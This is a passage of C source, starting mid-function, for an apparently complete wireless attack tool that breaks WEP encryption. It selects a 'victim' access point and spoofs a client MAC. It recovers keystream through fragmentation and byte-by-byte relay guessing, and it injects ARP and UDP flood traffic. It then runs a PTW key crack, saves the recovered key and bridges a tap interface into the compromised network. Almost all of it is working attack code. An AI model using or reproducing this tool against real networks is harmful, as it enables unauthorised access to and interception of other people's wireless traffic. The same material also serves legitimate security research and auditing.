(memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
dlen == fragstate.len) {
set_prga(body, &body[4], fragstate.data, dlen);
free(fragstate.data);
fragstate.data = 0;
fragstate.waiting_relay = 0;
}
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(wh->i_addr3, mymac, 6) == 0) &&
(memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
dlen == 36) {
unsigned char pr = wh->i_addr1[5];
printf("\n");
time_print("Got clear-text byte: %d\n",
decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
decryptstate.prgainfo.len++;
decryptstate.fragstate.waiting_relay = 1;
if (decryptstate.prgainfo.len == 26+1) {
unsigned char ip[4];
int i;
struct in_addr *in = (struct in_addr*) ip;
unsigned char *ptr;
for (i = 0; i < 4; i++)
ip[i] = decryptstate.cipher[8+8+6+i] ^
decryptstate.prgainfo.prga[8+8+6+i];
assert(!netip);
netip = (unsigned char*) malloc(16);
if(!netip) {
perror("malloc()");
exit(1);
}
memset(netip, 0, 16);
strcpy(netip, inet_ntoa(*in));
time_print("Got IP=(%s)\n", netip);
strcpy(myip, netip);
ptr = strchr(myip, '.');
assert(ptr);
ptr = strchr(ptr+1, '.');
assert(ptr);
ptr = strchr(ptr+1, '.');
assert(ptr);
strcpy(ptr+1,"123");
time_print("My IP=(%s)\n", myip);
free(decryptstate.prgainfo.prga);
free(decryptstate.cipher);
memset(&decryptstate, 0, sizeof(decryptstate));
}
}
return;
}
clearsize = known_clear(clear, wh, dlen);
time_print("Datalen %d Known clear %d\n", dlen, clearsize);
set_prga(body, &body[4], clear, clearsize);
}
void stuff_for_net(struct ieee80211_frame* wh, int rd) {
int type,stype;
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
if (type == IEEE80211_FC0_TYPE_DATA &&
stype == IEEE80211_FC0_SUBTYPE_DATA) {
int dlen = rd - sizeof(struct ieee80211_frame);
if (state == SPOOF_MAC) {
unsigned char mac[6];
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
memcpy(mac, wh->i_addr3, 6);
} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
memcpy(mac, wh->i_addr1, 6);
} else assert(0);
if (mac[0] == 0xff || mac[0] == 0x1)
return;
memcpy(mymac, mac, 6);
time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
state = FOUND_VICTIM;
return;
}
if ( (wh->i_fc[1] & IEEE80211_FC1_PROTECTED) &&
dlen > (4+8+4)) {
got_wep(wh, rd);
}
}
}
void anal(unsigned char* buf, int rd, int tx) {
struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
int type,stype;
static int lastseq = -1;
int seq;
unsigned short *seqptr;
int for_us = 0;
if (rd < 1) {
time_print("rd=%d\n", rd);
exit(1);
}
type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
if (state >= FOUND_VICTIM) {
if (memcmp(wh->i_addr1, mymac, 6) == 0) {
for_us = 1;
if (type != IEEE80211_FC0_TYPE_CTL)
send_ack(tx);
}
}
seqptr = (unsigned short*) wh->i_seq;
seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
type != IEEE80211_FC0_TYPE_CTL) {
return;
}
lastseq = seq;
if (type == IEEE80211_FC0_TYPE_MGT) {
if(state == FIND_VICTIM) {
if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
if (get_victim_ssid(wh, rd)) {
return;
}
}
}
}
if (state >= FOUND_VICTIM) {
if (for_us) {
stuff_for_us(wh, rd);
}
if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
(memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
(memcmp(victim.bss, wh->i_addr2, 6) == 0))
) {
stuff_for_net(wh, rd);
}
}
}
void do_arp(unsigned char* buf, unsigned short op,
unsigned char* m1, unsigned char* i1,
unsigned char* m2, unsigned char* i2) {
struct in_addr sip;
struct in_addr dip;
struct arphdr* h;
unsigned char* data;
inet_aton(i1, &sip);
inet_aton(i2, &dip);
h = (struct arphdr*) buf;
memset(h, 0, sizeof(*h));
h->ar_hrd = htons(ARPHRD_ETHER);
h->ar_pro = htons(ETHERTYPE_IP);
h->ar_hln = 6;
h->ar_pln = 4;
h->ar_op = htons(op);
data = (unsigned char*) h + sizeof(*h);
memcpy(data, m1, 6);
data += 6;
memcpy(data, &sip, 4);
data += 4;
memcpy(data, m2, 6);
data += 6;
memcpy(data, &dip, 4);
data += 4;
}
void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
unsigned char buf[4096];
struct ieee80211_frame* wh;
unsigned char* body;
int fragsize;
uLong crc;
unsigned long *pcrc;
int i;
unsigned short* seq;
unsigned short sn, fn;
wh = (struct ieee80211_frame*) buf;
memcpy(wh, &fs->wh, sizeof(*wh));
body = (unsigned char*) wh + sizeof(*wh);
memcpy(body, &pi->iv, 3);
body += 3;
*body++ = 0;
fragsize = fs->data + fs->len - fs->ptr;
assert(fragsize > 0);
if ( (fragsize + 4) > pi->len) {
fragsize = pi->len - 4;
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
}
else {
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
}
memcpy(body, fs->ptr, fragsize);
crc = crc32(0L, Z_NULL, 0);
crc = crc32(crc, body, fragsize);
pcrc = (unsigned long*) (body+fragsize);
*pcrc = crc;
for (i = 0; i < (fragsize + 4); i++)
body[i] ^= pi->prga[i];
seq = (unsigned short*) &wh->i_seq;
sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
fn = *seq & IEEE80211_SEQ_FRAG_MASK;
send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
seq = (unsigned short*) &fs->wh.i_seq;
*seq = fnseq(++fn, sn);
fs->ptr += fragsize;
if (fs->ptr - fs->data == fs->len) {
fs->waiting_relay = 1;
}
}
void prepare_fragstate(struct frag_state* fs, int pad) {
fs->waiting_relay = 0;
fs->len = 8 + 8 + 20 + pad;
fs->data = (unsigned char*) malloc(fs->len);
if(!fs->data) {
perror("malloc()");
exit(1);
}
fs->ptr = fs->data;
do_llc(fs->data, ETHERTYPE_ARP);
do_arp(&fs->data[8], ARPOP_REQUEST,
mymac, myip,
"\x00\x00\x00\x00\x00\x00", "192.168.0.1");
memset(&fs->wh, 0, sizeof(fs->wh));
fill_basic(&fs->wh);
memset(fs->wh.i_addr3, 0xff, 6);
fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
IEEE80211_FC1_MORE_FRAG |
IEEE80211_FC1_PROTECTED;
memset(&fs->data[8+8+20], 0, pad);
}
void discover_prga(int tx) {
if (!fragstate.data) {
int pad = 0;
if (prgainfo.len >= 20)
pad = prgainfo.len*3;
prepare_fragstate(&fragstate, pad);
}
if (!fragstate.waiting_relay) {
send_fragment(tx, &fragstate, &prgainfo);
if (fragstate.waiting_relay) {
if (gettimeofday(&fragstate.last, NULL) == -1)
err(1, "gettimeofday()");
}
}
}
void decrypt(int tx) {
if (!decryptstate.fragstate.data) {
prepare_fragstate(&decryptstate.fragstate, 0);
memcpy(decryptstate.fragstate.wh.i_addr3,
MCAST_PREF, 5);
decryptstate.fragstate.wh.i_addr3[5] =
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
decryptstate.prgainfo.len++;
}
if (decryptstate.fragstate.waiting_relay) {
unsigned short* seq;
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
#if 0
if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
printf("Can't decrpyt!\n");
exit(1);
}
#endif
decryptstate.fragstate.wh.i_addr3[5] =
decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
decryptstate.fragstate.waiting_relay = 0;
decryptstate.fragstate.ptr = decryptstate.fragstate.data;
seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
*seq = fnseq(0, txstate.psent);
}
send_fragment(tx, &decryptstate.fragstate,
&decryptstate.prgainfo);
}
void flood_inet(tx) {
static int send_arp = -1;
static unsigned char arp_pkt[128];
static int arp_len;
static unsigned char udp_pkt[128];
static int udp_len;
static struct timeval last_ip;
if (send_arp == -1) {
unsigned char* body;
unsigned char* ptr;
struct ieee80211_frame* wh;
struct ip* ih;
struct udphdr* uh;
memset(arp_pkt, 0, sizeof(arp_pkt));
memset(udp_pkt, 0, sizeof(udp_pkt));
wh = (struct ieee80211_frame*) arp_pkt;
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
memset(wh->i_addr3, 0xff, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4;
do_llc(ptr, ETHERTYPE_ARP);
ptr += 8;
do_arp(ptr, ARPOP_REQUEST, mymac, myip,
"\x00\x00\x00\x00\x00\x00", netip);
wepify(body, 8+8+20);
arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
assert(arp_len < sizeof(arp_pkt));
wh = (struct ieee80211_frame*) udp_pkt;
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
memcpy(wh->i_addr3, rtrmac, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4;
do_llc(ptr, ETHERTYPE_IP);
ptr += 8;
ih = (struct ip*) ptr;
ih->ip_hl = 5;
ih->ip_v = 4;
ih->ip_tos = 0;
ih->ip_len = htons(20+8+5);
ih->ip_id = htons(666);
ih->ip_off = 0;
ih->ip_ttl = 128;
ih->ip_p = IPPROTO_UDP;
ih->ip_sum = 0;
inet_aton(myip, &ih->ip_src);
inet_aton(floodip, &ih->ip_dst);
ih->ip_sum = in_cksum((unsigned short*)ih, 20);
ptr += 20;
uh = (struct udphdr*) ptr;
uh->uh_sport = htons(floodsport);
uh->uh_dport = htons(floodport);
uh->uh_ulen = htons(8+5);
uh->uh_sum = 0;
ptr += 8;
strcpy(ptr, "sorbo");
uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
&ih->ip_dst);
wepify(body, 8+20+8+5);
udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
assert(udp_len < sizeof(udp_pkt));
send_arp = 1;
memset(&last_ip, 0, sizeof(last_ip));
}
if (send_arp == 1) {
struct timeval now;
unsigned long sec;
if (gettimeofday(&now, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
sec = now.tv_sec - last_ip.tv_sec;
if (sec < 5)
return;
send_frame(tx, arp_pkt, arp_len);
send_arp = 0;
}
else if (send_arp == 0) {
if (gettimeofday(&last_ip, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
send_frame(tx, udp_pkt, udp_len);
send_arp = 1;
} else assert(0);
}
void send_arp(int tx, unsigned short op, unsigned char* srcip,
unsigned char* srcmac, unsigned char* dstip,
unsigned char* dstmac) {
static unsigned char arp_pkt[128];
unsigned char* body;
unsigned char* ptr;
struct ieee80211_frame* wh;
int arp_len;
memset(arp_pkt, 0, sizeof(arp_pkt));
wh = (struct ieee80211_frame*) arp_pkt;
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
memset(wh->i_addr3, 0xff, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4;
do_llc(ptr, ETHERTYPE_ARP);
ptr += 8;
do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
wepify(body, 8+8+20);
arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
assert(arp_len < sizeof(arp_pkt));
send_frame(tx, arp_pkt, arp_len);
}
void can_write(int tx) {
static char arp_ip[16];
switch (state) {
case FOUND_VICTIM:
send_auth(tx);
state = SENDING_AUTH;
break;
case GOT_AUTH:
send_assoc(tx);
state = SENDING_ASSOC;
break;
case GOT_ASSOC:
if (prgainfo.prga && prgainfo.len < min_prga) {
discover_prga(tx);
break;
}
if (decryptstate.cipher) {
decrypt(tx);
break;
}
if (!prgainfo.prga)
break;
if (taptx_len) {
send_frame(tx, taptx, taptx_len);
taptx_len = 0;
break;
}
if (netip && !rtrmac) {
char* ptr;
strcpy(arp_ip, netip);
if (!netip_arg) {
ptr = strchr(arp_ip, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
strcpy(++ptr, "1");
}
if (gettimeofday(&arpsend, NULL) == -1)
err(1, "gettimeofday()");
time_print("Sending arp request for: %s\n", arp_ip);
send_arp(tx, ARPOP_REQUEST, myip, mymac,
arp_ip, "\x00\x00\x00\x00\x00\x00");
rtrmac = (unsigned char*)1;
break;
}
if (rtrmac > (unsigned char*)1 && netip) {
if (floodip)
flood_inet(tx);
else {
send_arp(tx, ARPOP_REQUEST, myip, mymac,
arp_ip, "\x00\x00\x00\x00\x00\x00");
}
break;
}
break;
}
}
void save_key(unsigned char *key, int len)
{
char tmp[16];
char k[64];
int fd;
int rd;
assert(len*3 < sizeof(k));
k[0] = 0;
while (len--) {
sprintf(tmp, "%.2X", *key++);
strcat(k, tmp);
if (len)
strcat(k, ":");
}
fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644);
if (fd == -1)
err(1, "open()");
printf("\nKey: %s\n", k);
rd = write(fd, k, strlen(k));
if (rd == -1)
err(1, "write()");
if (rd != strlen(k))
errx(1, "write %d/%d\n", rd, strlen(k));
close(fd);
}
#define KEYLIMIT (1000000)
int do_crack(void)
{
unsigned char key[PTW_KEYHSBYTES];
if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
save_key(key, 13);
return 1;
}
if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
save_key(key, 5);
return 1;
}
return 0;
}
void try_crack() {
if (crack_pid) {
printf("\n");
time_print("Warning... previous crack still running!\n");
kill_crack();
}
if (weplog.fd) {
if (fsync(weplog.fd) == -1)
err(1, "fsync");
}
crack_pid = fork();
if (crack_pid == -1)
err(1, "fork");
if (crack_pid == 0) {
if (!do_crack())
printf("\nCrack unsuccessful\n");
exit(1);
}
printf("\n");
time_print("Starting crack PID=%d\n", crack_pid);
if (gettimeofday(&crack_start, NULL) == -1)
err(1, "gettimeofday");
wep_thresh += thresh_incr;
}
void open_tap() {
struct stat st;
int s;
struct ifreq ifr;
unsigned int flags;
tapfd = open(TAP_DEV, O_RDWR);
if (tapfd == -1) {
printf("Can't open tap: %s\n", strerror(errno));
exit(1);
}
if(fstat(tapfd, &st) == -1) {
perror("fstat()");
exit(1);
}
strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
ifr.ifr_mtu = 1500;
if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
perror("ioctl(SIOCSIFMTU)");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCGIFFLAGS)");
exit(1);
}
flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
flags |= IFF_UP;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
ifr.ifr_flags = flags & 0xffff;
ifr.ifr_flagshigh = flags >> 16;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
perror("ioctl(SIOCSIFFLAGS)");
exit(1);
}
close(s);
time_print("Opened tap device: %s\n", tapdev);
}
void read_tap() {
unsigned char buf[4096];
struct ether_header* eh;
struct ieee80211_frame* wh;
int rd;
unsigned char* ptr, *body;
int dlen;
rd = read(tapfd, buf, sizeof(buf));
if (rd == -1) {
perror("read()");
exit(1);
}
dlen = rd - sizeof(*eh);
assert(dlen > 0);
if (dlen+8 > prgainfo.len) {
printf("\n");
time_print("Sorry... want to send %d but only got %d prga\n",
dlen, prgainfo.len);
return;
}
if (taptx_len) {
printf("\n");
time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
}
assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
eh = (struct ether_header*) buf;
wh = (struct ieee80211_frame*) taptx;
memset(wh, 0, sizeof(*wh));
fill_basic(wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
memcpy(wh->i_addr2, eh->ether_shost, 6);
memcpy(wh->i_addr3, eh->ether_dhost, 6);
body = (unsigned char*) wh + sizeof(*wh);
ptr = body;
ptr += 4;
do_llc(ptr, ntohs(eh->ether_type));
ptr += 8;
memcpy(ptr, &buf[sizeof(*eh)], dlen);
wepify(body, 8+dlen);
taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
assert (taptx_len < sizeof(taptx));
}
int elapsedd(struct timeval *past, struct timeval *now)
{
int el;
el = now->tv_sec - past->tv_sec;
assert(el >= 0);
if (el == 0) {
el = now->tv_usec - past->tv_usec;
} else {
el = (el - 1)*1000*1000;
el += 1000*1000-past->tv_usec;
el += now->tv_usec;
}
return el;
}
static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
{
#define BIT(n) (1<<(n))
struct bpf_hdr *bpfh;
struct ieee80211_radiotap_header *rth;
uint32_t present;
uint8_t rflags;
void *ptr;
static int nocrc = 0;
assert(*totlen);
bpfh = (struct bpf_hdr*) (*data);
assert(bpfh->bh_caplen == bpfh->bh_datalen);
*totlen -= bpfh->bh_hdrlen;
if ((int)bpfh->bh_caplen < *totlen) {
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
int offset = BPF_WORDALIGN(tot);
*data = (char*)bpfh + offset;
*totlen -= offset - tot;
} else if ((int)bpfh->bh_caplen > *totlen)
abort();
*plen = bpfh->bh_caplen;
*totlen -= bpfh->bh_caplen;
assert(*totlen >= 0);
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
present = le32toh(rth->it_present);
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
rflags = ((const uint8_t *)rth)[8];
else
rflags = ((const uint8_t *)rth)[0];
} else
rflags = 0;
*plen -= rth->it_len;
assert(*plen > 0);
if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
*plen -= IEEE80211_CRC_LEN;
nocrc = 1;
}
ptr = (char*)rth + rth->it_len;
return ptr;
#undef BIT
}
static int read_packet(int fd, unsigned char *dst, int len)
{
static unsigned char buf[4096];
static int totlen = 0;
static unsigned char *next = buf;
unsigned char *pkt;
int plen;
assert(len > 0);
if (totlen == 0) {
totlen = read(fd, buf, sizeof(buf));
if (totlen == -1) {
totlen = 0;
return -1;
}
next = buf;
}
pkt = get_80211(&next, &totlen, &plen);
if (plen > len)
plen = len;
assert(plen > 0);
memcpy(dst, pkt, plen);
return plen;
}
void own(int wifd) {
unsigned char buf[4096];
int rd;
fd_set rfd;
struct timeval tv;
char *pbar = "/-\\|";
char *pbarp = &pbar[0];
struct timeval lasthop;
struct timeval now;
unsigned int last_wep_count = 0;
struct timeval last_wcount;
struct timeval last_status;
int fd;
int largest;
weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
if (weplog.fd == -1) {
struct pcap_file_header pfh;
memset(&pfh, 0, sizeof(pfh));
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (weplog.fd != -1) {
if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
err(1, "write()");
}
}
else {
time_print("WARNING: Appending in %s\n", WEP_FILE);
}
if (weplog.fd == -1) {
perror("open()");
exit(1);
}
fd = open(PRGA_FILE, O_RDONLY);
if (fd != -1) {
time_print("WARNING: reading prga from %s\n", PRGA_FILE);
rd = read(fd, buf, sizeof(buf));
if (rd == -1) {
perror("read()");
exit(1);
}
if (rd >= 8) {
set_prga(buf, NULL, &buf[3], rd - 3);
}
close(fd);
}
fd = open(DICT_PATH, O_RDONLY);
if (fd == -1) {
time_print("Creating dictionary directory (%s)\n", DICT_PATH);
if (mkdir (DICT_PATH, 0755) == -1) {
perror("mkdir()");
exit(1);
}
}
else
close(fd);
open_tap();
set_if_mac(mymac, tapdev);
time_print("Set tap MAC to: %s\n", mac2str(mymac));
if (tapfd > wifd)
largest = tapfd;
else
largest = wifd;
if (signal(SIGINT, &cleanup) == SIG_ERR) {
perror("signal()");
exit(1);
}
if (signal (SIGTERM, &cleanup) == SIG_ERR) {
perror("signal()");
exit(1);
}
time_print("Looking for a victim...\n");
if (gettimeofday(&lasthop, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
memcpy(&last_status, &lasthop, sizeof(last_status));
while (1) {
if (gettimeofday(&now, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
if (fragstate.waiting_relay) {
int el;
el = now.tv_sec - fragstate.last.tv_sec;
assert (el >= 0);
if (el == 0) {
el = now.tv_usec - fragstate.last.tv_usec;
} else {
el--;
el *= 1000*1000;
el += 1000*1000 - fragstate.last.tv_usec;
el += now.tv_usec;
if (el > (1500*1000)) {
free(fragstate.data);
fragstate.data = 0;
}
}
}
if (rtrmac == (unsigned char*) 1) {
int el;
el = elapsedd(&arpsend, &now);
if (el >= (1500*1000)) {
rtrmac = 0;
}
}
if ( (now.tv_sec > last_status.tv_sec ) ||
( now.tv_usec - last_status.tv_usec > 100*1000)) {
if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
check_key();
}
if (netip && prgainfo.len >= min_prga &&
rtrmac > (unsigned char*) 1) {
time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
weplog.packets, wep_thresh,
weplog.iv[0], weplog.iv[1], weplog.iv[2],
weplog.rate);
fflush(stdout);
}
else {
if (state == FIND_VICTIM)
time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
else if (decryptstate.cipher) {
int pos = decryptstate.prgainfo.len - 1;
unsigned char prga = decryptstate.prgainfo.prga[pos];
assert(pos);
time_print("Guessing PRGA %.2x (IP byte=%d) \r",
prga, decryptstate.cipher[pos] ^ prga);
}
else
time_print("%c\r", *pbarp);
fflush(stdout);
}
memcpy(&last_status, &now,sizeof(last_status));
}
if (crack_pid) {
if (now.tv_sec - crack_start.tv_sec >= crack_dur)
kill_crack();
}
if (txstate.waiting_ack) {
unsigned int elapsed = now.tv_sec -
txstate.tsent.tv_sec;
elapsed *= 1000*1000;
elapsed += (now.tv_usec - txstate.tsent.tv_usec);
if (elapsed >= ack_timeout)
send_frame(wifd, NULL, -1);
}
FD_ZERO(&rfd);
FD_SET(wifd, &rfd);
FD_SET(tapfd, &rfd);
tv.tv_sec = 0;
tv.tv_usec = 1000*10;
rd = select(largest+1, &rfd, NULL, NULL, &tv);
if (rd == -1) {
perror("select()");
exit(1);
}
if (rd != 0) {
if (FD_ISSET(wifd, &rfd)) {
rd = read_packet(wifd, buf, sizeof(buf));
if (rd == 0)
return;
if (rd == -1) {
perror("read()");
exit(1);
}
pbarp++;
if(!(*pbarp))
pbarp = &pbar[0];
anal(buf, rd, wifd);
}
if (FD_ISSET(tapfd, &rfd)) {
read_tap();
}
}
if (state == FIND_VICTIM) {
if (now.tv_sec > lasthop.tv_sec ||
( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
int chan = chaninfo.chan;
chan++;
if(chan > max_chan)
chan = 1;
set_chan(chan);
memcpy(&lasthop, &now, sizeof(lasthop));
}
} else {
if (!txstate.waiting_ack)
can_write(wifd);
#ifdef MORE_ACCURATE
if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
unsigned int elapsed;
int secs;
int packetz = weplog.packets - last_wep_count;
elapsed = 1000*1000;
elapsed -= last_wcount.tv_usec;
assert(elapsed >= 0);
elapsed += now.tv_usec;
secs = now.tv_sec - last_wcount.tv_sec;
secs--;
if (secs > 0)
elapsed += (secs*1000*1000);
weplog.rate = (int)
((double)packetz/(elapsed/1000.0/1000.0));
#else
if ( now.tv_sec > last_wcount.tv_sec) {
weplog.rate = weplog.packets - last_wep_count;
#endif
last_wep_count = weplog.packets;
memcpy(&last_wcount, &now, sizeof(now));
if (wep_thresh != -1 && weplog.packets > wep_thresh)
try_crack();
}
}
}
}
void start(char *dev) {
int fd;
setup_if(dev);
fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
ptw = PTW_newattackstate();
if (!ptw)
err(1, "PTW_newattackstate()");
own(fd);
#if 0
{
int i;
struct timeval tv;
set_chan(11);
for (i = 0; i < 10; i++) {
gettimeofday(&tv, NULL);
send_ack(tx);
printf("%lu\n", tv.tv_usec);
}
}
#endif
close(fd);
}
void usage(char* pname) {
printf("Usage: %s <opts>\n", pname);
printf("-h\t\tthis lame message\n");
printf("-i\t\t<iface>\n");
printf("-s\t\t<flood server ip>\n");
printf("-m\t\t<my ip>\n");
printf("-n\t\t<net ip>\n");
printf("-r\t\t<rtr mac>\n");
printf("-a\t\t<mymac>\n");
printf("-c\t\tdo not crack\n");
printf("-p\t\t<min prga>\n");
printf("-4\t\t64 bit key\n");
printf("-v\t\tvictim mac\n");
printf("-t\t\t<crack thresh>\n");
printf("-f\t\t<max chan>\n");
exit(0);
}
void str2mac(unsigned char* dst, unsigned char* mac) {
unsigned int macf[6];
int i;
if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
&macf[0], &macf[1], &macf[2],
&macf[3], &macf[4], &macf[5]) != 6) {
printf("can't parse mac %s\n", mac);
exit(1);
}
for (i = 0; i < 6; i++)
*dst++ = (unsigned char) macf[i];
}
int main(int argc, char *argv[]) {
unsigned char* dev = "ath0";
unsigned char rtr[6];
unsigned char vic[6];
int ch;
if (gettimeofday(&real_start, NULL) == -1) {
perror("gettimeofday()");
exit(1);
}
chaninfo.s = -1;
victim.ssid = 0;
prgainfo.len = 0;
memset(&txstate, 0, sizeof(txstate));
memset(&fragstate, 0, sizeof(fragstate));
memset(&decryptstate, 0, sizeof(decryptstate));
memset(&weplog, 0, sizeof(weplog));
state = FIND_VICTIM;
while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
switch (ch) {
case 'a':
str2mac(mymac, optarg);
break;
case 's':
floodip = optarg;
break;
case 'i':
dev = optarg;
break;
case 'm':
strncpy(myip, optarg, sizeof(myip)-1);
myip[sizeof(myip)-1] = 0;
break;
case 'n':
netip = optarg;
netip_arg = 1;
break;
case 'r':
str2mac(rtr, optarg);
rtrmac = rtr;
break;
case 'v':
str2mac(vic, optarg);
victim_mac = vic;
break;
case 'c':
wep_thresh = -1;
break;
case 'p':
min_prga = atoi(optarg);
break;
case 't':
thresh_incr = wep_thresh = atoi(optarg);
break;
case 'f':
max_chan = atoi(optarg);
break;
case '4':
bits = 64;
break;
default:
usage(argv[0]);
break;
}
}
start(dev);
if(chaninfo.s != -1)
close(chaninfo.s);
if(victim.ssid)
free(victim.ssid);
exit(0);
}